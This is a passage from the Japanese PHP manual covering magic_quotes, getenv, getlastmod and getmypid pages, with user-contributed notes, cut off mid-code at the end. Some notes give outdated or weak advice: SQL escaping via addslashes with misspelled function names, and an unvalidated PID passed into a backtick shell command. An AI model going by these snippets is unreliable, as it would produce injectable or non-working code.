magic_quotes_sybase does however influence the escaping (and unescaping) method used by addslashes() and stripslashes() respectively, regardless of whether magic_quotes_gpc (or magic_quotes_runtime) is enabled.
rogier at dsone 28-Aug-2012 10:12
Regarding the three main strip methods as found below (two using foreach, 1 using the json method), I've done a little benchmarking using 'true' profiling (using a registered tickhandler where declare(ticks=1)).
I wondered whether or not json would not be terribly slow.
I won't discuss the profiler, but will suffice with the following statement, followed by the used code to benchmark:

The json method was by FAR the quickest (contrary to what I'd thought), so if you need a speedy process, use that!

<?php
declare(ticks=1);
function g()
{
    return array(
        'a'=>'i\\\\\\'m',
        array('a1' => 'x', 'b1' => 'x'),
        array( 'a2' => array('a3' => '\\\\\\'x', 'b3' => 'random' )
        )
    );
}

function strip_json($d)
{
    $rs = json_decode(stripslashes(json_encode($d, JSON_HEX_APOS)), true);
    return $rs;
}

function strip_deep1($d)
{
    foreach ($d as $k=>$v)
    {
        if (is_array($v)) { $d[$k] = strip_deep1($v); }
        else { $d[$k] = stripslashes($v); }
    }
    return $d;
}

function strip_deep2(&$d)
{
    $d = is_array($d) ? array_map('strip_deep2', $d) : stripslashes($d);
    return $d;
}

// now profile it
require_once './TickProfiler.php';
$N = 1000;
$d = g();
TickProfiler::Register();
for ($i = 0; $i < $N; $i++){ strip_json($d); }
for ($i = 0; $i < $N; $i++){ strip_deep1($d); }
for ($i = 0; $i < $N; $i++){ strip_deep2($d); }
TickProfiler::Unregister();
TickProfiler::Display();

?>

My output (PHP 5.3.1, win32):
    [TickProfiler::tick] => Array
        (
            [time] => 0.76188707351685
            [calls] => 46001
        )

    [TickProfiler::Register] => Array
        (
            [time] => 3.0994415283203E-5
            [calls] => 1
        )

    [strip_json] => Array
        (
            [time] => 0.025638580322266
            [calls] => 1000
        )

    [strip_deep1] => Array
        (
            [time] => 0.40303444862366
            [calls] => 36000
        )

    [strip_deep2] => Array
        (
            [time] => 0.14928555488586
            [calls] => 9000
        )

)

As can be seen above, using json speeds output by at least a factor of 5 (nearly 6).
Just wanted to share this :D

Do note the strip_json function has two LOC instead of a plain return statement, otherwise it wouldn't get picked up by the tickprofiler (it would return from the code immediately, never reaching the profiler)!

Usage of the return statement in strip_deep2 is not needed, as the argument is passed by reference.
A new test showed that the time penalty for this is about 0.09 seconds.

This actually means that the factor between strip_deep2 vs strip_json is only about 2.
Still, strip_json would be about twice as fast as strip_deep2
hetored at gmail dot com 07-May-2010 02:17
Here's what I came up with to remove magic quotes from request data.

Replaces two single-quotes with one if magic_quotes_sybase are on, otherwise it just strips slashes.

Note that the `foreach` style makes this work only with PHP 5 and above.

<?php

// Strip magic quotes from request data.
if (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()) {
    // Create lamba style unescaping function (for portability)
    $quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
    $unescape_function = (empty($quotes_sybase) || $quotes_sybase === 'off') ? 'stripslashes($value)' : 'str_replace("\'\'","\'",$value)';
    $stripslashes_deep = create_function('&$value, $fn', '
        if (is_string($value)) {
            $value = ' . $unescape_function . ';
        } else if (is_array($value)) {
            foreach ($value as &$v) $fn($v, $fn);
        }
    ');

    // Unescape data
    $stripslashes_deep($_POST, $stripslashes_deep);
    $stripslashes_deep($_GET, $stripslashes_deep);
    $stripslashes_deep($_COOKIE, $stripslashes_deep);
    $stripslashes_deep($_REQUEST, $stripslashes_deep);
}

?>
louis at greynoise dot co dot uk 30-May-2008 08:34
<?php
function stripper($stringvar){
    if (1 == get_magic_quotes_gpc()){
        $stringvar = stripslashes($stringvar);
    }
    return $stringvar;
}
?>

Usage:

<?php
$Body = stripper($rs->fields('Body'));
echo($Body);
?>

This checks if get_magic_quotes_gpc() is on and strips a string variable for output if its on. Useful if the dev server and live server are set up different.
heiko dot richler at informatik dot fh-nuernberg dot de 15-Apr-2008 12:02
@ dot dot dot dot dot alexander at gmail dot com

I suggest replacing foreach by "stripslashes_deep":

Example #2 Using stripslashes() on an array on
<http://www.php.net/manual/en/function.stripslashes.php>:

<?php
function stripslashes_deep($value)
{
    $value = is_array($value) ?
                array_map('stripslashes_deep', $value) :
                stripslashes($value);

    return $value;
}
?>

This gives:

<?php
if((function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc())    || (ini_get('magic_quotes_sybase') && (strtolower(ini_get('magic_quotes_sybase'))!="off")) ){
    stripslashes_deep($_GET);
    stripslashes_deep($_POST);
    stripslashes_deep($_COOKIE);
}
?>
dot dot dot dot dot alexander at gmail dot com 09-Mar-2008 07:06
Just a little correction:
( Because of the ini_get function that may return a string value of "off" that evaluates to TRUE )
<?php
        if(
            (  function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc()  )
             || (  ini_get('magic_quotes_sybase') && ( strtolower(ini_get('magic_quotes_sybase')) != "off" )  )
           ){
            foreach($_GET as $k => $v) $_GET[$k] = stripslashes($v);
            foreach($_POST as $k => $v) $_POST[$k] = stripslashes($v);
            foreach($_COOKIE as $k => $v) $_COOKIE[$k] = stripslashes($v);
        }
?>
slonmron_no_spam_please_ at yahoo dot com 06-Dec-2006 06:32
Re: php at kaiundina dot de (03-Feb-2005 02:18)

1. magic_quotes_gpc=on/off and magic_quotes_sybase=on/off

I made test and your function worked right.
These were the <input ... /> names I used:
name="a"
name="b.b b\b"
name="c[c.1]"
name="c[c 2]"
name="c[c\3]"
name="c.c c[c.' 4]"
name="c ' c[c&quot;4]"
name="d&quot;[d&quot;1]"

(I used &quot; because I don't know other way to put " into the name)

and the user-input value:
a ' " \ \' \" \\ a

2. > 17) The chars '.', ' ' are always replaced by '_' when used in keys.

This is true only for the top-level keys, such as "b.b b\b", "c.c c" and "c ' c" above. The second-level key "[c.' 4]" was not changed to [c_'_4] but was escaped acording to how magic_quites_XXX are set.

Tested on PHP 4.4.0.

These magic_quotes are really black magic :(

It'll be good to make test against $_SESSION, but I can't do it today.
venimus at gmail dot com 11-Jul-2006 06:14
When you work with forms and databases you should use this concept:

1.When inserting the user input in DB escape $_POST/$_GET with add_slashes() or similar (to match the speciffic database escape rules)

$query='INSERT INTO users SET fullname="'.add_slashes($_POST['fullname']).'"';
insert_into_db($query);

2.When reading a previously submitted input from DB use html_special_chars to display an escaped result!

read_db_row('SELECT fullname FROM users');
echo '<input type="text" name="fullname" value="'.html_special_chars($db_row['fullname']).'" />

this way you safely store and work with the original(unescaped) data.
php at kaiundina dot de 02-Feb-2005 04:18
Escaping of key-strings in GPC-arrays behave different to the escaping of their values.

First I expected that keys in submitted gpc-arrays are never escaped.
Anyway. After I saw escaped keys, I assumed they're escaped according to the settings of magic quotes.
... it's even worse...

It took me over 2 days of testing to figure out the exact behavior and creating two functions (one for each php-version) that strips slashes reliably from any array submitted to a script. Hope this saves someones time and nerves.

The following is true for $_GET- and $_POST-arrays. I hope other arrays affected by magic quotes behave equally.
I did not test the behavior for cases where magic_quotes_sybase is set.

== legend for possible case combinations ==
Px = php version we're using
    P4 = php 4.3.9
    P5 = php 5.0.2

MQ = MagicQuotes GPC
    +MQ = magic quotes enabled
    -MQ = magic quotes disabled

TL = TopLevel key
    +TL = key is on top level (i.e. $_GET['myKey'])
    -TL = key is nested within another array (i.e. $_GET['myList']['myKey'])

AK = ArrayKey
    +AK = the value of the key is another array (i.e. is_array($_GET['myKey']) == true)
    -AK = the value is a normal string (i.e. is_string($_GET['myKey']) == true)

== legend for possible results ==
KE = KeyEscaping
    +KE = control chars are prefixed with a backslash
    -KE = key is returned as submitted and needn't to be stripped

VE = ValueEscaping (doesn't apply for array as value)
    +VE = control chars are prefixed with a backslash
    -VE = value is returned as submitted and needn't to be stripped

== here we go - the following rules apply ==
 1) P4 +MQ +AK +TL --> -KE
 2) P4 +MQ +AK -TL --> +KE
 3) P4 +MQ -AK +TL --> -KE +VE
 4) P4 +MQ -AK -TL --> +KE +VE
 5) P4 -MQ +AK +TL --> -KE
 6) P4 -MQ +AK -TL --> -KE
 7) P4 -MQ -AK +TL --> -KE -VE
 8) P4 -MQ -AK -TL --> -KE -VE
 9) P5 +MQ +AK +TL --> -KE
10) P5 +MQ +AK -TL --> +KE
11) P5 +MQ -AK +TL --> +KE +VE
12) P5 +MQ -AK -TL --> +KE +VE
13) P5 -MQ +AK +TL --> -KE
14) P5 -MQ +AK -TL --> -KE
15) P5 -MQ -AK +TL --> +KE -VE
16) P5 -MQ -AK -TL --> +KE -VE
17) The chars '.', ' ' are always replaced by '_' when used in keys.

Example (rule 15):
When running under php 5.0.2 having magic quotes disabled, gpc-keys on top level containing strings are escaped while their associated values are not.

== The following function will strip GPC-arrays for php 4.3.9 ==

<?php
function transcribe($aList, $aIsTopLevel = true) {
    $gpcList = array();
    $isMagic = get_magic_quotes_gpc();

    foreach ($aList as $key => $value) {
        $decodedKey = ($isMagic && !$aIsTopLevel)?stripslashes($key):$key;
        if (is_array($value)) {
            $decodedValue = transcribe($value, false);
        } else {
            $decodedValue = ($isMagic)?stripslashes($value):$value;
        }
        $gpcList[$decodedKey] = $decodedValue;
    }
    return $gpcList;
}
?>

== The following function will strip GPC-arrays for php 5.0.2 ==
<?php
function transcribe($aList, $aIsTopLevel = true) {
    $gpcList = array();
    $isMagic = get_magic_quotes_gpc();

    foreach ($aList as $key => $value) {
        if (is_array($value)) {
            $decodedKey = ($isMagic && !$aIsTopLevel)?stripslashes($key):$key;
            $decodedValue = transcribe($value, false);
        } else {
            $decodedKey = stripslashes($key);
            $decodedValue = ($isMagic)?stripslashes($value):$value;
        }
        $gpcList[$decodedKey] = $decodedValue;
    }
    return $gpcList;
}
?>

Usage:

<?php
$unstrippedGET = transcribe($_GET);
$unstrippedPOST = transcribe($_POST);
?>

Maybe someone is willing to test those combinations for other php-versions and with magic_quotes_sybase set to 'on' - let me know.
Sorry for this huge amount of text, but it's complete. I was unable to compress the decision table more than this.
eltehaem at poczta dot onet dot pl 26-Nov-2004 02:58
Please note, that when magic_quotes_gpc is set not only $_POST, $_GET, $_REQUEST, $_COOKIE arrays values are slashed. Actually every string value in $GLOBALS array is slashed, ie. $GLOBALS['_SERVER']['PATH_INFO'] (or $_SERVER['PATH_INFO']).


magic_quotes_runtime の現在アクティブな設定値を取得する

  • ≪ get_magic_quotes_gpc
  • get_required_files ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • magic_quotes_runtime の現在アクティブな設定値を取得する

get_magic_quotes_runtime

(PHP 4, PHP 5, PHP 7)

get_magic_quotes_runtime — magic_quotes_runtime の現在アクティブな設定値を取得する

警告

この関数は PHP 7.4.0 で 非推奨 になり、PHP 8.0.0 で 削除 されました。この関数に頼らないことを強く推奨します。

説明

get_magic_quotes_runtime ( ) : bool

magic_quotes_runtime の現在アクティブな値を返します。

返り値

magic_quotes_runtime がオフの場合に 0、そうでない場合に 1 を返します。 PHP 5.4.0 以降は、常に false を返します。

変更履歴

バージョン | 説明
7.4.0 | この関数は推奨されなくなりました。

例

例1 get_magic_quotes_runtime() の例

<?php
// magic_quotes_runtime が有効かどうかを調べます
if(get_magic_quotes_runtime())
{
    // 無効にします
    set_magic_quotes_runtime(false);
}
?>

参考

  • get_magic_quotes_gpc() - magic_quotes_gpc の現在の設定を得る
  • set_magic_quotes_runtime()

User Contributed Notes

dipshrestha AT mail 20-Aug-2009 06:28
To add to what "php at nospam-qualystem dot com" has mentioned.

Some Japanese Encoding System (shift-jis) encode characters like 予 with ASCII pairs "975C". (5C is ASCII for backslash)

Thus when reading those characters from files (saved as shift-jis) in system with magic_quotes_runtime enabled, the characeter is turned into 予\  (equivalent ASCII "975C5C")

Similarly,
予定　is turned into 予\定
php at nospam-qualystem dot com 09-Jan-2003 05:48
get_magic_quotes runtime and set_magic_quotes_runtime are useful when you want to read some data in a binary file using fread() and some bytes in such file may be interpreted as \ (backslash), " (double quotes), ' (simple quote) or any "special" character that has a meaning for string processing.


get_included_files のエイリアス

  • ≪ get_magic_quotes_runtime
  • get_resources ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • get_included_files のエイリアス

get_required_files

(PHP 4, PHP 5, PHP 7, PHP 8)

get_required_files — get_included_files() のエイリアス

説明

この関数は次の関数のエイリアスです。 get_included_files().

User Contributed Notes

There are no user contributed notes for this page.


アクティブなリソースを返す

  • ≪ get_required_files
  • getenv ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • アクティブなリソースを返す

get_resources

(PHP 7, PHP 8)

get_resources — アクティブなリソースを返す

説明

get_resources ( string $type = ? ) : array

現在アクティブなすべてのリソースの配列を返します。 オプションでリソース型によってフィルタリングされます。

パラメータ

type

定義された場合、get_resources() は、指定された型のリソースのみを返すようになります。 リソース型の一覧が使用できます。

string Unknown が型として指定された場合、 不明な型のリソースのみが返されます。

省略した場合、すべてのリソースが返されます。

返り値

現在アクティブなリソースの array を返します。 リソース番号でインデックス付けされます。

例

例1 フィルタリングされていない get_resources()

<?php
$fp = tmpfile();
var_dump(get_resources());
?>

上の例の出力は、 たとえば以下のようになります。

array(1) {
  [1]=>
  resource(1) of type (stream)
}

例2 フィルタリングされた get_resources()

<?php
$fp = tmpfile();
var_dump(get_resources('stream'));
var_dump(get_resources('curl'));
?>

上の例の出力は、 たとえば以下のようになります。

array(1) {
  [1]=>
  resource(1) of type (stream)
}
array(0) {
}

参考

  • get_loaded_extensions() - コンパイル/ロードされている全てのモジュールの名前を配列として返す
  • get_defined_constants() - すべての定数の名前とその値を連想配列として返す
  • get_defined_functions() - 定義済みの全ての関数を配列で返す
  • get_defined_vars() - 全ての定義済の変数を配列で返す

User Contributed Notes

andres 26-Sep-2017 07:54
?Se pueden usar con matrices de mas de una dimension?


環境変数の値を取得する

  • ≪ get_resources
  • getlastmod ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • 環境変数の値を取得する

getenv

(PHP 4, PHP 5, PHP 7, PHP 8)

getenv — 環境変数の値を取得する

説明

getenv ( string $varname , bool $local_only = false ) : string|false
getenv ( ) : array

環境変数の値を取得します。

phpinfo() を使えば、すべての環境変数の一覧を見ることができます。 これらの変数の多くは、 » RFC 3875 の section 4.1, "Request Meta-Variables" に挙げられているものです。

パラメータ

varname

変数の名前。

local_only

true に設定すると、(OS または putenv により設定された) ローカルの環境変数のみを返します。

返り値

varname が示す環境変数の値を返し、 環境変数 varname が存在しない場合はfalseを返します。 varname が省略された場合、 すべての環境変数は連想配列として返されます。

変更履歴

バージョン | 説明
7.1.0 | varname は、すべての環境変数の連想配列を取得するために 省略することができるようになりました。
5.5.38, 5.6.24, 7.0.9 | local_only パラメーターが追加されました。

注意

警告

PHP が Fast CGI のような SAPI で実行中の場合、 同じ名前のローカル環境変数を設定するために putenv() が使用されても、 この関数は SAPI により設定された環境変数の値を常に返します。 ローカル設定された環境変数の値を返すには、 local_only パラメーターを使用してください。

例

例1 getenv() の例

<?php
// getenv() の使用例
$ip = getenv('REMOTE_ADDR');

// または単純にスーパーグローバル（$_SERVER または $_ENV）を使用します
$ip = $_SERVER['REMOTE_ADDR'];

// SAPI により設定されたか、または putenv により変更されたかどうかを無視して
// 環境変数の値を安全に取得します。
$ip = getenv('REMOTE_ADDR', true) ?: getenv('REMOTE_ADDR')
?>

参考

  • putenv() - 環境変数の値を設定する
  • apache_getenv() - Apache の subprocess_env 変数を取得する
  • スーパーグローバル

User Contributed Notes

jcastromail at yahoo dot es 30-Sep-2020 08:45
I did a benchmark about env.

constants :
0.00067687034606934 ms
getenv :
0.056761026382446 ms

(less is better)

https://github.com/eftec/php-benchmarks#define--const--env

And, in Windows at leat, reading the env value is considerably slow (in comparison with a constant), so PHP doesn't cache the information and asks to the OS the env value per call.

So, if you are calling once per request, then there is not a problem. However, if you are calling it many times per request, then it could affects the performance.
Anonymous 09-May-2019 02:07
It is worth noting that since getenv('MY_VARIABLE') will return false when the variable given is not set, there is no direct way to distinguish between a variable that is unset and one that is explicitly set to the value bool(false) when using getenv().
This makes it somewhat tricky to have boolean environment variables default to true if unset, which you can work around either by using "falsy" values such as 0 with the strict comparison operators or by using the superglobal arrays and isset().
larby dot robert at gmail dot com 01-Aug-2018 09:23
From PHP 7.1 => getenv() no longer requires its parameter. If the parameter is omitted, then the current environment variables will be returned as an associative array.

Source: http://php.net/manual/en/migration71.changed-functions.php
Anonymous 07-Apr-2018 04:56
Contrary to what eng.mrkto.com said, getenv() isn't always case-insensitive. On Linux it is not:

<?php
var_dump(getenv('path')); // bool(false)
var_dump(getenv('Path')); // bool(false)
var_dump(getenv('PATH')); // string(13) "/usr/bin:/bin"
jaraco at jaraco dot com 06-Jul-2017 01:49
The example on how to fallback produces a syntax error on PHP 5.2:

-bash-3.2$ cat test.php
<?php

$ip = getenv('REMOTE_ADDR', true) ?: getenv('REMOTE_ADDR')

?>

-bash-3.2$ /web/cgi-bin/php5 test.php
Content-type: text/html

<br />
<b>Parse error</b>:  syntax error, unexpected ':' in <b>/home/content/25/11223125/test.php</b> on line <b>3</b><br />

On PHP 5.2, one must write

$ip = getenv('REMOTE_ADDR', true) ? getenv('REMOTE_ADDR', true) : getenv('REMOTE_ADDR')
yw()beeznest!com 02-Aug-2016 12:10
As noted on httpoxy.org, getenv() can confuse you in having you believe that all variables come from a "safe" environment (not all of them do).

In particular, $_SERVER['HTTP_PROXY'] (or its equivalent getenv('HTTP_PROXY')) can be manually set in the HTTP request header, so it should not be considered safe in a CGI environment.

In short, try to avoid using getenv('HTTP_PROXY') without properly filtering it.
pritisn at gmail dot com 19-May-2015 11:55
for quick check of getenv() adding a new env variable -
if you add a new env variable, make sure not only apache but xampp is also restarted.
Otherwise getenv() will return false for the newly added env variable.
hello at jabran dot me 03-Apr-2015 06:47
Beware that when using this function with PHP built-in server - i.e. php -S localhost:8000 - it will return boolean FALSE.
php at keith tyler dot com 08-Feb-2012 12:51
All of the notes and examples so far have been strictly CGI.
It should not be understated the usefulness of getenv()/putenv() in CLI as well.

You can pass a number of variables to a CLI script via environment variables, either in Unix/Linux bash/sh with the "VAR='foo'; export $VAR" paradigm, or in Windows with the "set VAR='foo'" paradigm. (Csh users, you're on your own!) getenv("VAR") will retrieve that value from the environment.

We have a system by which we include a file full of putenv() statements storing configuration values that can apply to many different CLI PHP programs. But if we want to override these values, we can use the shell's (or calling application, such as ant) environment variable setting method to do so.

This saves us from having to manage an unmanageable amount of one-off configuration changes per execution via command line arguments; instead we just set the appropriate env var first.
eng.mrkto.com 29-Jul-2010 11:36
This function is useful (compared to $_SERVER, $_ENV) because it searches $varname key in those array case-insensitive manner.
For example on Windows $_SERVER['Path'] is like you see Capitalized, not 'PATH' as you expected.
So just: <?php getenv('path') ?>
chuck dot reeves at gmail dot com 06-May-2010 11:59
When writing CLI applications, not that any environment variables that are set in your web server config will not be passed through.  PHP will pass through system environment variables that are prefixed based off the safe_mode_allowed_env_vars directive in your php.ini
f dot hartmann2 at gmx dot net 23-Jul-2009 05:42
A function returning the remote adress of the visiting browser could look like this:

<?php
function getIPfromXForwarded() {
    $ipString=@getenv("HTTP_X_FORWARDED_FOR");
    $addr = explode(",",$ipString);
    return $addr[sizeof($addr)-1];
}
?>

Note that some adresses are followed by a whitespace and ip2long(getIPfromXForwarded()) would not return the expected result.

Make use of trim() in your scripts, either in the function itself, or the surrounding space of the caller.

Greetings
sam at sambarrow dot com 12-Mar-2008 05:32
SERVER_NAME is the name defined in the apache configuration.
HTTP_HOST is the host header sent by the client when using the more recent versions of the http protocol.
renko at <remove>virtual-life dot net 08-Nov-2004 06:40
The function 'getenv' does not work if your Server API is ASAPI (IIS).

So, try to don't use getenv('REMOTE_ADDR'), but $_SERVER["REMOTE_ADDR"].
kyong 04-Feb-2004 01:06
As you know, getenv('DOCUMENT_ROOT') is useful.
However, under CLI environment(I tend to do quick check
if it works or not), it doesn't work without modified php.ini
file. So I add "export DOCUMENT_ROOT=~" in my .bash_profile.


最終更新時刻を取得する

  • ≪ getenv
  • getmygid ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • 最終更新時刻を取得する

getlastmod

(PHP 4, PHP 5, PHP 7, PHP 8)

getlastmod — 最終更新時刻を取得する

説明

getlastmod ( ) : int|false

実行中のスクリプト本体の最終更新時刻を取得します。

別のファイルの最終更新時刻が知りたい場合は、 filemtime() を使用してください。

返り値

現在のページの最終更新時刻を返します。 この値は Unix のタイムスタンプで、そのまま date ()に渡す事ができます。エラーの場合は false を返します。

例

例1 getlastmod() の例

<?php
// たとえば、'最終更新時刻：March 04 1998 20:43:59.' を出力します
echo "最終更新時刻: " . date ("F d Y H:i:s.", getlastmod());
?>

参考

  • date() - ローカルの日付/時刻を書式化する
  • getmyuid() - PHP スクリプト所有者のユーザー ID を取得する
  • getmygid() - PHP スクリプトの所有者の GID を得る
  • get_current_user() - 現在の PHP スクリプトの所有者の名前を取得する
  • getmyinode() - 現在のスクリプトの inode を取得する
  • getmypid() - PHP のプロセス ID を取得する
  • filemtime() - ファイルの更新時刻を取得する

User Contributed Notes

Moro 29-Jun-2012 03:03
Return latest mod time of all included files:

<?php
function get_page_mod_time() {
    $incls = get_included_files();
    $incls = array_filter($incls, "is_file");
    $mod_times = array_map('filemtime', $incls);
    $mod_time = max($mod_times);

    return $mod_time;
}
?>
luca dot delpivo at gmail dot com 11-Mar-2012 07:52
With better words getlastmod() returning the last time the script in which it is being called was modified, it does not require or use a parameter.
erik dot stetina at gmail dot com 27-Sep-2011 03:47
function for displaying last modification time accross more direcotries. e.g. to display last modification date in "about" section of your web page

<?php
function array_prefix_values($prefix, $array)
{
  $callback = create_function('$s','return "'.$prefix.'".$s;');
  return array_map($callback,$array);
}

function get_last_update()
{
  if ( func_num_args() < 1 ) return 0;
  $dirs = func_get_args();
  $files = array();
  foreach ( $dirs as $dir )
  {
    $subfiles = scandir($dir);
    $subfiles = array_prefix_values($dir,$subfiles);
    $subfiles = array_filter($subfiles,"is_file");
    $files = array_merge($files,$subfiles);
  }
  $maxtimestamp = 0;
  $maxfilename = "";
  foreach ( $files as $file )
  {
    $timestamp = filemtime($file);
    if ( $timestamp > $maxtimestamp )
    {
      $maxtimestamp = $timestamp;
      $maxfilename = $file;
    }
  }
  return date("Ymd",$maxtimestamp)." ($maxfilename)";
}

print "last update: ".get_last_update("./lib/", "./css/", "./lang/");
?>

OUTPUT:
last update: 20110927 (./lang/sk.php)
Ant P. 24-Feb-2010 10:48
If you use register_shutdown_function() on certain SAPIs, various filesystem-related things inside the shutdown function might do unexpected things, one of which being this function can return false.

On the other hand getlastmod() apparently caches the return value, so if you use it at least once in normal code it should work for the remainder of the request.
rwruck 17-Oct-2004 06:28
DO NOT use this function unless you are absolutely sure both your Apache and PHP have been compiled with the same value for -DFILE_OFFSET_BITS.

If not, this function will return the access time (or maybe even garbage) instead of the modification time due do Apache and PHP using different versions of the stat structure.

This is true regardless of Apache and PHP version.

To be on the safe side, always use the workaround already posted below:
filemtime($_SERVER['SCRIPT_FILENAME'])
19-May-2004 04:36
Setting the 'Last-Modified' header:
<?php
setlocale(LC_TIME, "C");
$ft = filemtime ('referencefile');
$localt = mktime ();
$gmtt = gmmktime ();
$ft = $ft - $gmtt + $localt;
$modified = strftime ("%a, %d %b %Y %T GMT", $ft);
?>
timeflys at users dot sourceforget dot net 20-Mar-2003 01:28
I found issues using getlastmod() to test whether or not I was successful in setting the Last Modified date in the header. The code below shows the same Last Modified date before and after I set the Last-Modified header.

<?php
//True modified date
$modified = date ("F d Y H:i:s.", getlastmod());

//artificial modified date - sent to header
$last_modified = gmdate('D, d M Y H:i:s T', (time() - 43200));

//caching prevention
header("Last-Modified: $last_modified GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");  // HTTP/1.1
header("Cache-Control: post-check=0, pre-check=0", false);
    header("Pragma: no-cache");                          // HTTP/1.0

$getlast_modified = date ("F d Y H:i:s.", getlastmod());

print "True modified date(Before): $modified <p /> Date sent to header(After): $getlast_modified";
?>

I then used the PEAR, HTTP_Request class which worked, the Last-Modified date updates everytime it is requested, the desired effect.

<?php
require 'HTTP/Request.php';
$r = new HTTP_Request('http://www.sample.com/page.php');
$r->sendRequest();
$response_headers = $r->getResponseHeader();
print $response_headers["last-modified"];
?>


PHP スクリプトの所有者の GID を得る

  • ≪ getlastmod
  • getmyinode ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • PHP スクリプトの所有者の GID を得る

getmygid

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

getmygid — PHP スクリプトの所有者の GID を得る

説明

getmygid ( ) : int|false

現在のスクリプトのグループ ID を取得します。

返り値

現在のスクリプトのグループ ID を返します。またはエラー時に false を返します。

参考

  • getmyuid() - PHP スクリプト所有者のユーザー ID を取得する
  • getmypid() - PHP のプロセス ID を取得する
  • get_current_user() - 現在の PHP スクリプトの所有者の名前を取得する
  • getmyinode() - 現在のスクリプトの inode を取得する
  • getlastmod() - 最終更新時刻を取得する

User Contributed Notes

chris at ocproducts dot com 02-Mar-2020 02:32
On Windows this will always return 0, except when "php -r" is used, when it returns 1.


現在のスクリプトの inode を取得する

  • ≪ getmygid
  • getmypid ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • 現在のスクリプトの inode を取得する

getmyinode

(PHP 4, PHP 5, PHP 7, PHP 8)

getmyinode — 現在のスクリプトの inode を取得する

説明

getmyinode ( ) : int|false

現在のスクリプトの inode を取得します。

返り値

現在のスクリプトの inode を表す整数値、あるいはエラーの場合は false を返します。

参考

  • getmygid() - PHP スクリプトの所有者の GID を得る
  • getmyuid() - PHP スクリプト所有者のユーザー ID を取得する
  • getmypid() - PHP のプロセス ID を取得する
  • get_current_user() - 現在の PHP スクリプトの所有者の名前を取得する
  • getlastmod() - 最終更新時刻を取得する

User Contributed Notes

There are no user contributed notes for this page.


PHP のプロセス ID を取得する

  • ≪ getmyinode
  • getmyuid ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • PHP のプロセス ID を取得する

getmypid

(PHP 4, PHP 5, PHP 7, PHP 8)

getmypid — PHP のプロセス ID を取得する

説明

getmypid ( ) : int|false

現在の PHP プロセスの ID を取得します。

返り値

現在の PHP のプロセス ID を返し、エラーの場合は false を返します。

注意

警告

プロセス ID は一意ではなく、エントロピ源として優れたものではありません。 セキュリティが問題となる状況では、PID に頼らないようにしましょう。

参考

  • getmygid() - PHP スクリプトの所有者の GID を得る
  • getmyuid() - PHP スクリプト所有者のユーザー ID を取得する
  • get_current_user() - 現在の PHP スクリプトの所有者の名前を取得する
  • getmyinode() - 現在のスクリプトの inode を取得する
  • getlastmod() - 最終更新時刻を取得する

User Contributed Notes

martijn at nowhere dot com 18-Feb-2016 03:42
On windows, you can get a list of PID's using this single line statement: <?php $pids = array_column(array_map('str_getcsv', explode("\n",trim(`tasklist /FO csv /NH`))), 1); ?>.
brospam at gmail dot com 23-Aug-2013 10:19
My lockfile system

<?php
function isLocked(){
    if(file_exists(LOCK_FILE)) {
        $lockingPID = trim(file_get_contents(LOCK_FILE));
        $test=trim(`ps -p $lockingPID -o pid=`);
        if(!empty($test)) return true;
        echo "Removing stale lock file.\n";
        unlink(LOCK_FILE);
    }
    file_put_contents(LOCK_FILE, getmypid()."\n");
    return false;
}
?>
Radu Cristescu 22-Jul-2013 06:44
The lock-file mechanism in Kevin Trass's note is incorrect because it is subject to race conditions.

For locks you need an atomic way of verifying if a lock file exists and creating it if it doesn't exist. Between file_exists and file_put_contents, another process could be faster than us to write the lock.

The only filesystem operation that matches the above requirements that I know of is symlink().

Thus, if you need a lock-file mechanism, here's the code. This won't work on a system without /proc (so there go Windows, BSD, OS X, and possibly others), but it can be adapted to work around that deficiency (say, by linking to your pid file like in my script, then operating through the symlink like in Kevin's solution).

#!/usr/bin/php
<?php

define('LOCK_FILE', "/var/run/" . basename($argv[0], ".php") . ".lock");

if (!tryLock())
    die("Already running.\n");

# remove the lock on exit (Control+C doesn't count as 'exit'?)
register_shutdown_function('unlink', LOCK_FILE);

# The rest of your script goes here....
echo "Hello world!\n";
sleep(30);

exit(0);

function tryLock()
{
    # If lock file exists, check if stale.  If exists and is not stale, return TRUE
    # Else, create lock file and return FALSE.

    if (@symlink("/proc/" . getmypid(), LOCK_FILE) !== FALSE) # the @ in front of 'symlink' is to suppress the NOTICE you get if the LOCK_FILE exists
        return true;

    # link already exists
    # check if it's stale
    if (is_link(LOCK_FILE) && !is_dir(LOCK_FILE))
    {
        unlink(LOCK_FILE);
        # try to lock again
        return tryLock();
    }

    return false;
}
?>
eight_hf at live dot fr 07-Jul-2012 12:19
On Linux you can check if a process is still running by verifying if the PID exists in the /proc directory :

<?php
if(file_exists('/proc/'.$pid))
{
    echo 'The process is still running.';
}
?>
pdc at example dot com 29-Dec-2011 12:50
Here is how you'd use exec on a posix system to accomplish counting processes quickly.

I want to know how many processes are running with 'update.php' in the command:

ps aux|grep "[u]pdate.php"|wc -l

(the trick of using [u]pdate.php instead of update.php makes sure that the grep command itself is not matched).  Be sure to use quotes in the command, or it won't work either.

So, the code:

<?php
function countProcesses($scriptName)
{
    // ps aux|grep "[u]pdate.php"|wc -l
    $first    =    substr($scriptName, 0, 1);
    $rest    =    substr($scriptName, 1);

    $name    =    '"['.$first.']'.$rest.'"';
    $cmd    =    "ps aux | grep $name | wc -l";

    $result    =    exec($cmd);

    return $result;
}
?>
wouter99999 at gmail dot com 05-Jun-2011 03:03
On windows, ps is not available. Instead, to view a list of running processes, you can use exec('tasklist'); To kill processes you can use exec('taskkill); Enter taskkill /? for more information.
Robert Mays Jr 04-May-2011 09:39
All of the examples above require you to have shell command execution turned on- this example uses only PHP functions and should work on any system (posix is included by default)-

the key is posix_getsid which will return FALSE if the processes does not exist.

<?php
$lockfile = sys_get_temp_dir() . '/myScript.lock';
$pid = file_get_contents($lockfile);
if (posix_getsid($pid) === false) {
   print "process has died! restarting...\n";
   file_put_contents($lockfile, getmypid()); // create lockfile
} else {
